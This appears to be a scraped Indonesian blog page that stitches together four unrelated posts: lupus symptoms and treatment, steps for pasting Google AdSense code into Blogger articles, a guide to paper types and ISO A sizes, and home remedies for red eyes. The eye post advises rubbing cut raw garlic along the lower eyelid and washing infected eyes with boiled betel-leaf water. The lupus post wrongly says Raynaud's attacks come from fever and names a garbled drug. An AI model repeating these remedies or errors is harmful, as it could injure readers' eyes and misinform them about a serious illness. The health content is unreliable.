Discoid lupus erythematosus - DLE (gejala ringan) utamanya mempengaruhi kulit yang terkena sinar matahari dan biasanya tidak mempengaruhi organ dalam vital. Luka kulit diskoid (melingkar) sering meninggalkan bekas luka setelah penyembuhan.

DLE biasanya dapat dikendalikan dengan menghindari paparan sinar matahari langsung dan obat-obatan. Efek dan Gejala DLE di antaranya:

1. Rambut rontok.
2. Pitak permanen.
3. Ruam merah dan bulat seperti sisik pada kulit yang terkadang akan menebal dan menjadi bekas luka.

Sistemik lupus erythematosus - SLE lebih serius: Ini mempengaruhi kulit dan organ vital lainnya, dan dapat menyebabkan ruam berbentuk, bersisik, berbentuk kupu-kupu di atas jembatan hidung dan pipi yang bisa meninggalkan bekas luka jika tidak diobati.

SLE juga dapat mempengaruhi bagian lain dari kulit di tempat lain di tubuh. Selain efek nyata dari lupus sistemik, penyakit ini juga dapat mengobarkan dan merusak jaringan ikat di sendi, otot, dan kulit, bersamaan dengan selaput di sekitar atau di dalam paru-paru , jantung , ginjal , dan otak.

SLE juga bisa menyebabkan penyakit ginjal. Seperti kasus yang terjadi pada selebriti Selena Gomez yang menjalani transplantasi ginjal karena penyakit Lupus yang diidapnya. Keterlibatan otak jarang terjadi, namun bagi sebagian orang, lupus dapat menyebabkan kebingungan, depresi , kejang , dan stroke.

Pembuluh darah bisa diserang dengan sistemik lupus. Hal ini dapat menyebabkan luka pada kulit, khususnya jari. Beberapa pasien lupus mendapatkan sindrom Raynaud, yang membuat pembuluh darah kecil berkontraksi di kulit, mencegah darah naik ke tangan dan kaki terutama sebagai respons terhadap demam.

Kebanyakan serangan hanya berlangsung beberapa menit saja, bisa terasa menyakitkan, dan sering membalikkan tangan dan kaki putih atau warna kebiruan. Pasien Lupus dengan sindrom Raynaud harus tetap hangat dengan sarung tangan saat cuaca dingin.

Penyebab penyakit Lupus - Apa Penyebab Lupus? Tidak ada faktor tunggal yang diketahui menyebabkan lupus. Penelitian menunjukkan bahwa kombinasi faktor genetik, hormonal, lingkungan, dan sistem kekebalan mungkin ada di belakangnya.

Faktor lingkungan, mulai dari infeksi virus dan bakteri hingga tekanan emosional yang parah atau paparan berlebih terhadap sinar matahari, dapat berperan dalam memprovokasi atau memicu penyakit ini.

Cara Mengobati Penyakit Lupus - SLE tidak bisa disembuhkan. Tujuan pengobatannya hanya untuk mengurangi tingkat gejala serta mencegah kerusakan organ pada penderita SLE.

Beberapa puluh tahun yang lalu, SLE dipandang sebagai penyakit terminal yang berujung kepada kematian. Ketakutan ini disebabkan oleh banyaknya penderita pada saat itu yang meninggal dunia akibat komplikasi dalam kurun waktu 10 tahun setelah didiagnosis mengidap SLE.

Tetapi kondisi pada zaman sekarang sudah jauh lebih baik. Berkat pengobatan SLE yang terus berkembang, hampir semua penderita SLE saat ini dapat hidup normal atau setidaknya mendekati tahap normal.

Bantuan dan dukungan dari keluarga, teman, serta staf medis juga berperan penting dalam membantu para penderita SLE dalam menghadapi penyakit mereka.

Obat-obatan tertentu, seperti obat tekanan darah hydralazine dan obat rana ritmik, dapat menyebabkan gejala mirip lupus. Kadar estrogen tinggi akibat kehamilan bisa memperparah lupus. - Penyakit Lupus : Penyebab, Efek, Gejala dan Pengobatan.

Cara Pasang Script Iklan Adsense di Artikel

Google Adsense 2017

Cara Pasang Script Iklan Adsense di Artikel - untuk memasang iklan adsense google, baik di atas postingan, tengah maupun di bawah caranya cukup mudah. Anda tinggal memasukkan script kode iklan ketempat dimana yang anda inginkan. Ada beberapa tehnik yang digunakan untuk memasang script iklan adsense di artikel, berikut caranya.
Cara memasang Iklan di atas postingan / artikel

1. Buka Adsense google anda kemudian pilih My Ads > Ads Unit.
   
   


2. Salin Kode Iklan yang ada di kolom.
3. Kembali ke blog anda dan pilih postingan > Edit entry >
4. Gunakan Tab HTML bukan yang di Compose.
   


5. Taruh atau paste kan kode iklan yang anda Copy tadi diatas tulisan lalu save.

Cara Pasang Iklan di Tengah Postingan / Artikel.

Untuk memasang Iklan ditengah postingan, ada 2 teknik cara yang dapat digunakan. Yang pertama caranya adalah sama seperti cara yang diatas, yaitu anda tinggal mengcopy kode iklan dan memasukannya ke bagian artikel yang mana anda inginkan pada tab HTML.

Cara yang kedua yaitu menggunakan menu yang sudah tersedia di Google Adsense.

1. Masuk ke Adsense anda di menu My Ads > Content > Ad Units.
   
2. Pilih Unit iklan baru. Kemudian akan muncul tampilan seperti ini
   
3. Dari tampilan menu, pilih menu yang terakhir atau yang ke tiga - In Article Ads.
4. Salin kode kemudian pastekan kode tersebut ke artikel anda, seperti cara sebelumnya.

Cara Pasang Iklan di Akhir atau dibawah artikel
Untuk memasang artikel iklan di bawah postingan, caranya juga sama seperti cara memasang iklan di atas atau ditengah artikel. Anda tinggal mengatur posisi letak dimana iklan tersebut hendak ditaruh.

Cara Pasang Iklan di artikel otomatis 
Jika anda memiliki puluhan atau ratusan artikel, tentunya cara di atas sangat merepotkan. Tehnik lain untuk memudahkan anda memasang iklan adsense secara otomatis di semua halaman artikel yaitu sebagai berikut.

1. Salin kode iklan anda, Masuk di Google Adsense >My Ads > Content > Ads Units.
2. Setelah kode script disalin, Pharse kan dulu kode iklan anda. Cara Pharse Script > PHARSE 
3. Setelah anda masuk di tautan PHARSE tadi, pastekan script kode iklan >kemudian klik Pharse
   
4. Salin kembali hasil pharse anda, kembali ke blog
5. Pada Blog, pilih menu Tema > Edit HTML
6. Tekan ctr+F dan cari script kode <data:post.body/>
7. Taruh kode iklan yang sudah anda pharse tadi setelah kode <data:post.body/>, biasanya ada lebih dari satu. Pilih salah satunya.
8. Simpan tema.

Setelah semua iklan anda sudah selesai terpasang, mungkin perlu anda untuk ketahui beberapa script / kode untuk menambah kerapihan posisi letak iklan.

• <left>.........</left> Untuk rata kiri.
• <right>.......</right> Untuk rata kanan.
• <center>.....</center> Untuk rata tengah.

Nah, Sobat.. Semoga artikel  "Cara Pasang Script Iklan Adsense di Artikel" ini bisa membantu anda. Selamat mencoba, Salam blogger Indonesia!!!.

Jenis Kertas : Macam, Ukuran, Penggunaan

Mengenal Kertas - Sebagian dari anda mungkin ada yang belum tahu mengenai macam atau jenis kertas, ukuran kertas bahkan fungsi penggunaannya. Namun bagi anda yang sudah lama bekerja dibidang percetakan pastinya telah banyak mengetahui jenis kertas apa yang biasa digunakan untuk undangan, brosur, id card, sertifikat dsb. Mari kita mengenal lebih banyak dari Jenis Kertas : Macam, Ukuran, Penggunaannya.

Jenis / Macam-macam Nama Kertas

Ada banyak ragam kertas yang ada dipasaran, meliputi jenis macam dan kegunaan yang berbeda. Perbedaan itu dapat diketahui dari ciri-ciri kertas tersebut. Dari ciri dan coraknya kita dapat mengetahui nama dari kertas seperti kertas HVS, art paper, kertas NCR, kertas Linen / Buffalo, Concorde paper, Fancy Paper, Corugated paper, Ivory Paper, Board Paper, kertas BW / BC / Manila, kertas Samson, kertas Duplex, dan kertas Jasmine. Mari kita bahas satu persatu.

1. Art Paper

Contoh Art Paper

Art Paper adalah kertas yang permukaannya licin dan mengkilap. Kertas art paper biasanya digunakan untuk cover buku, kalender dan cover majalah. Kertas jenis ini tidak cocok untuk keperluan tulis menulis. Karena permukaannya yang dilapisi (coated) maka daya serapnya lebih lambat sehingga tinta ballpoint akan sulit mengering.

Karena itu, art paper kerap digunakan untuk cetakan yang sifatnya promosional dan berukuran kecil, seperti kartu undangan atau kartu nama. Gramasi yang banyak digunakan yaitu 85 gr, 100 gr, 115 gr, 120 gr, dan 150 gr.

2. Kertas HVS

Contoh Kertas HVS

HVS adalah singkatan dari Houtvrij Schrijfpapier yang artinya kertas tulis bebas serat kayu. Kertas jenis HVS  dibuat dari pulp / bubur kertas, yang tidak mengandung lignin yaitu perekat antar serat di dalam pohon sehingga tidak mudah berubah warna (menjadi kekuningan) jika diletakkan di bawah sinar matahari atau sinar lampu.

Ciri-ciri kertas HVS adalah permukaannya tidak dilapisi sehingga bersifat kasar / tidak mulus (rata) dan daya serap besar.

Ukuran kertas HVS tersedia beragam, dari ukuran A4 hingga A0, ukuran F4, dan ukuran Q4. Sedangkan Gramasi atau ukuran berat kertas yang tersedia dipasaran adalah 70gr, 80gr, dan 100gr.

3. NCR Paper

Contoh NCR Paper

Kertas NCR - Mungkin anda asing mendengar nama tersebut. Tapi jika mendengar "Buku Nota", atau jika melihat gambar mungkin anda bisa langsung paham apa itu kertas NCR. NCR adalah kepanjangan dari Non Carbon Required.

Kertas NCR biasa digunakan dalam pembuatan nota, kwitansi atau bukti transaksi lainnya. Sebagian orang menyebut kertas ini adalah kertas karbon padahal kertas NCR justru dibuat untuk menggantikan kertas karbon.

Secara fungsi kertas karbon dan kertas NCR memang sama, yaitu untuk menyalin tulisan. Tujuan utamanya untuk menyalin dokumen menjadi beberapa rangkap. Kertas NCR ada berbagai varian warna, teksturnya lembut dan sangat tipis.

4. Kertas Buffalo - Linen

Contoh Linen Piper

Kertas Buffalo dan Linen adalah kertas yang keduanya mirip atau hampir sama. Ciri dari jenis kertas ini yaitu bertekstur dengan berbagai piihan warna dan cukup tebal.

Karena tekstur dan gramasinya cukup tebal yaitu 220gr dan 250gr sehingga sangat cocok untuk dijadikan cover buku, agenda atau nota.

5. Fancy Paper

Contoh Fancy paper polos, Fancy paper tekstur dan Fancy Paper Vanguard

Fancy paper atau kertas fancy adalah jenis kertas dengan beragam warna dan karakteristik. Ada 3 jenis fancy paper yang biasa digunakan menurut corak dan ciri fisiknya : Fancy paper polos, Fancy paper tekstur dan Fancy Paper Vanguard.

Penggunaan kertas fancy ini biasanya dipakai sebagai paper cutting, kartu ucapan, scrap book, kerajinan tangan, prakarya sekolah, maket hias interior, arsitektur dan contoh material desain grafis.

6. Kertas Concorde

Contoh Kertas Concorde

Kertas Concorde adalah jenis kertas warna yang biasa dipakai dan berfungsi untuk membuat sertifikat atau piagam.

Kertas Concorde umumnya memiliki macam gramasi 160 gr, 220 gr, 220 gr, dan 250 gr. Tersedia berbagai warna dan umumnya dijual per pack dengan isi 20 lembar. Jenis kertas ini cocok untuk kartu nama dan booklet karena memiliki terkstur lembut saat dipegang.

7. Corugated Paper

Contoh Kertas Cougated

Kertas Corugated yaitu jenis kertas bergelombang yang penggunaannya biasa untuk dos packer seperti dos mie instant, dos computer , kartu undangan eksklusif untuk berbagai acara formal dsb.

Bahan kertas ini memiliki bentuk yang sangat mirip dengan kardus namun dengan ketebalan yang lebih tipis. Umumnya pada kertas corugated hanya tersedia warna cokelat muda saja, sehingga agak sulit untuk dikreasikan.

8. Kertas Ivory

Contoh Bahan Paperbag Kertas Ivory

Ivory Paper memiliki tekstur yang hampir sama dengan art carton, tetapi ivory hanya mempunyai satu sisi licin, sisi yang lain tanpa coating. Biasanya kerta Ivory sering digunakan untuk paperbag dan dos kosmetik.

Selain itu kertas Ivory juga merupakan jenis kertas yang sangat cocok untuk poster, buku agenda dan kemasan produk makanan seperti paper tray atau box kebab. Karakteristiknya cukup tebal, gramasi yang biasa digunakan 210 gr, 230 gr, 250 gr, 310 gr, dan 400 gr.

9. Samson Paper

Contoh Kertas Samson

Kertas samson adalah kertas yang diolah melalui hasil daur ulang yang biasanya sering digunakan untuk bahan paper bag atau amplop surat. kertas samson ini banyak dijual secara gulungan di toko-toko alat tulis atau fotocopy sehingga jenis kertas ini cukup mudah didapatkan. Dengan gramasi 70 gr 80 gr, 150 gr, dan 220 gr, kebanyakan kertas samson ini berwarna cokelat.

10. Kertas Duplex

Contoh Kertas Duplex

Kertas Duplex  adalah jenis kertas yang paling mudah dikenali dan paling sering digunakan terutama untuk pembuatan dos packaging makanan, seperti kotak kue, kemasan nasi kotak dan kertas ini umumnya juga dipakai untuk kemasan obat-obatan.

Duplex paper memiliki dua varian warna, ada yang berwarna putih satu sisinya sedangkan sisi lainnya berwarna abu-abu dan ada juga yang berwarna putih pada sisi keduanya. Kertas duplex memiliki beberapa gramasi yaitu 230gr, 250gr, 270gr 300gr, 350gr, dan 400gr.

11. Jasmin Paper

Contoh Kertas Jasmin

Kertas Jasmin - Para pengusaha cetak kartu undangan pernikahan banyak yang menggunakan kertas jasmin ini. Karena kertas jasmine memiliki butiran gliter di permukaannya sehingga menjadikan kartu undangan terkesan mewah.

Disamping itu kertas jasmine juga cocok dijadikan anvelope perkantoran. Kertas ini memang dapat menimbulkan 2 kesan yang sangat jauh berbeda, yaitu ekslusif atau murahan. Kesan ekslusif dan murahan ini akan timbul, ketika hasil sudah dapat kita lihat secara keseluruhan.

12. Kertas BW/BC/Manila

Contoh Kertas BW/BC/Manila

Kertas BW/BC/Manila adalah kertas yang bertekstur. Biasanya kertas ini banyak digunakan untuk membuat kartu nama, kartu stok barang atau stofmap dengan berbagai varian warna. Di luar daripada  art carton, kertas BW juga bahan yang lazim digunakan untuk pembuatan kalender.

Kertas BW atau blues white memiliki beberapa nama seperti kertas BC atau kertas manila. Jenis kertas ini tersedia beberapa warna dengan tekstur yang halus pada permukannya. Gramasi populer digunakan 160 gr, 220 gr, dan 250 gr.

13. Board Paper

Contoh Board Paper

Board Paper adalah kertas tebal yang sangat kaku. Biasanya hanya tersedia warna cokelat dan warna  kuning. Board paper termasuk kertas karton, akan tetapi tingkat ketebalannya bervariasi dari 0,4 mm sampai yang paling tebal adalah 4,3 mm. Board Paper adalah jenis kertas yang biasa digunakan sebagai bahan cover buku atau untuk papan pengumuman di sekolah dan di kantor.

Macam - macam Ukuran Kertas

Dimensi ukuran kertas seri A -  Seperti yang didefinisikan oleh standar ISO 216, diberikan pada tabel di bawah diagram di kedua milimeter dan inci (pengukuran cm dapat diperoleh dengan membagi nilai mm sebesar 10).

Bagan ukuran kertas A Series, di bawah memberikan gambaran visual tentang ukuran yang saling terkait. Contoh A5 adalah setengah dari kertas ukuran A4 dan A2 adalah setengah dari kertas ukuran A1.

Bagan Ukuran Seri Kertas

Penggunaan ukuran kertas internasional - Ukuran kertas seri A sekarang umum digunakan di seluruh dunia selain di AS, Kanada dan sebagian Meksiko.

Ukuran A4 telah menjadi ukuran surat bisnis standar di negara-negara berbahasa Inggris seperti Australia, Selandia Baru dan Inggris, yang sebelumnya menggunakan ukuran kerajaan Inggris.

Di Eropa Ukuran kertas diadopsi sebagai standar formal pada pertengahan abad ke-20 dan dari sana mereka menyebar ke seluruh dunia.

Tabel Dimensi Jenis Ukuran Kertas

Adapun format ukuran kertas terdiri dari A0, A1, A2, A3, A4, A5, A6, A7, A8, A9 dan A10. Untuk dimensi jenis kategori terbagi atas 3 bagian dan menggunakan ukuran mm x mm, in x in. Bisa dilihat tabel di atas.

Demikian Pengenalan serba-serbi kertas, mulai dari jenis / macam ragam kertas, dimensi ukuran dan penggunaan kertas yang di rangkum dalam judul "Jenis Kertas : Macam, Ukuran, Penggunaan" kertas ini yang tentunya masih belum lengkap jika di bahas dengan tuntas. Semoga bermanfaat.

Resep Obat Sakit Mata Merah dan Belekan Alami yang Ampuh - Treat Red Eyes

Obat sakit mata merah . Mengalami sakit mata juga ? ya sama saya juga pernah mengalami kondisi mata merah ini sehingga jangan berkecil hati ya sesama pernah menderita sakit mata

Memang yang namanya Penyakit mata merah ditandai dengan mata merah, berair, ada kotoran mata (belekan), lengket seperti ada benda asing, kadang-kadang bengkak. Bisa menyerang bayi baru lahir hingga orang tua. Bila terjadi dalam waktu 12 hingga 24 jam disebut hiperakut, akut bila kurang dari 4 minggu dan kronis lebih dari 1 bulan .

Obat Tetes Sakit Mata Merah dan Belekan yang Ampuh

Mata memerah, berair, terasa nyeri, gatal, penglihatan kabur, dan keluar kotoran adalah merupakan gejala dari sakit mata yang desebu dengan Konjungtivitis . Penyakit ini mudah menular dan bisa berlangsung berbulan-bulan. Konjungtivitis Merupakan penyakit mata akibat iritasi atau peradangan akibat infeksi di bagian selaput yang melapisi mata. Beberapa faktor menjadi penyebabnya, seperti infeksi virus atau bakteri, alergi (debu, serbuk, angin, bulu atau asap), pemakaian lensa kontak dalam jangka waktu panjang dan kurang bersih.

Perlu dicata bahawa Bayi pun bisa mengalami sakit mata, hanya penyebabnya berbeda yaitu karena infeksi ketika melewati jalan lahir. Pada bayi, penyakit ini disebut konjungtivitis gonokokal dan umumnya mata bayi baru lahir akan ditetesi obat mata atau salep antibiotika untuk mematikan bakteri penyebabnya namun belum tau pasti aman ataiu tidaknya . 

Sehingg sebaiknya Jika Anda atau keluarga mengalami penyakit ini, lakukan penanganannya dengan cara berikut: Kompres mata dengan air hangat Gunakan obat tetesseseui resep dokter. Bersihkan tangan sebelum mengoleskan salep agar iritasi tidak tambah parah. Cegah penularan penyakit ke orang lain dengan memisahkan alat-alat yang digunakan oleh Anda dan orang-orang.

Obat Alami untuk Sakit Mata Merah

Berikut ini obat sakit mata mereah secara tradisional,

Daunn sirih

1. Ambillah beberapa lembar daun sirih, cuci hingga bersih dan re-buslah dengan ditembah solikit garam dapur sampai mendidih.
2. Seteiah itu angkat dari perapaan dan tunggulah sampai dingin, ke-mudian saring dengan menggunakan kain yang bersih.
3. Gunakan air saringan tersebut untuk mencuci mata yang sakit setiap hari 3 kali, bila Anda tekun melakukannya, niscaya penyakit mata yang Anda derita akan lekas sembuh selagi belum terlalu parah.

 Bawang Putih

1. Cuci wajah terutana bagian mata dengan air bersih, sampai kotoran di mata dan muka anda bersih, terus lap muka anda menggunakan handuk bersih sampai kering.
2. Ambil satu siung bawang putih, di cuci bersih, ujung bawang, kita potong (jawa : puthes) sedikit. Sebaiknya jangan gunakan bawang bombay, gunakan bawang biasa.
3. Gosokkan perlahan-lahan ujung bawang yang sudah di potong sejajar dengan akar bulu mata. Jangan di bagian kelopak atas, sebaiknya di bagian kelopak mata bawah. Tahan rasa perih.
4. Tunggu beberapa saat maka akan timbul rasa perih, gatal bahkan geli
5. Sebaiknya pengobatan ini dilakukan kalau anda mau tidur.

Tips untuk obat sakit mata merah tanpa obat kimia

1. Hindari menyentuh maya mata dengan jari, karena banyak kuman yang menempel pada jari tangan, jika terjadi gatal gunakan kain lembtu untuk mengusapnya.
2. Dengan mata terpejam basuhlah kelopak mata dengan air hangat,jnagn gunakan  air panas jika terlalu panas justru akan menyebabkan iritasi, hal ini untuk melunakan dempetan mata dan menghilangkan kotoran sisa belekan yang masih menempel pada kelopak mata usapkan 3 � 4 kali sehari setidaknya 5 menit.
3. Gunakan obat tetes untuk mengurangi iritasi dan rasa gatal pada mata.
4. Untuk yang agak ganjen hindari pemakaian tata rias di daerah mata sampai infeksi bisa benar-benar hilang atau sembuh.
5. Jangan dulu menggunakan kontak lens jika masih infeksi.
6. Seringlah mencuci tangan karena secara tidak sadar setiap hari kita menyentuh daerah mata sekitar +10x.
7. Jika dalam 2 � 3 hari mata semakin tidak nyaman dan sensitive terhadap cahaya, cobalah untuk istirahatkan mata anda (maksudnya tidurlah yang cukup) minimal 6 jam.
8. Atau coba cara yang tradisional. Ambil daun sirih segar 4 lembar direbus, setelah dingin gunakan untuk kompres mata yang sakit.

Bagaimana sobat mudahkan ? iya bagi saya cara diatas mudah dan dengan daun sirih memang sering saya gunkan untuk mengobati mata sakit merah .

KW : Cara Mengobati Sakit Mata, Obat Mata Merah, Obat Mata Minus, obat mata yg ampuh, Obat Sakit Mata, Obat sakit mata belekan untuk anak balita,